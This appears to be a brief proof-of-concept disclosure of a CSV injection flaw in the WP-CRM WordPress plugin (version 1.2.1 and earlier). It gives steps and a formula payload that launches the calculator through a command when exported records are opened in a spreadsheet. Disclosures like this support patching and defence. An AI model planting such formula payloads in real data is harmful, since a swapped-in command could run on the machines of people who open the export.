WP-CRM <= 1.2.1 - CSV Injection

Proof of Concept

1. Add new person and put the following CSV calculator payload into the Display Name, Phone Number and Description field and save the entry.
payload : =cmd|' /C calc'!'A1'  or  =cmd|' /C calc'!A0

2. In the All People section, click on "Export CSV"

If the csv is opened in a vulnerable application, the payload will execute.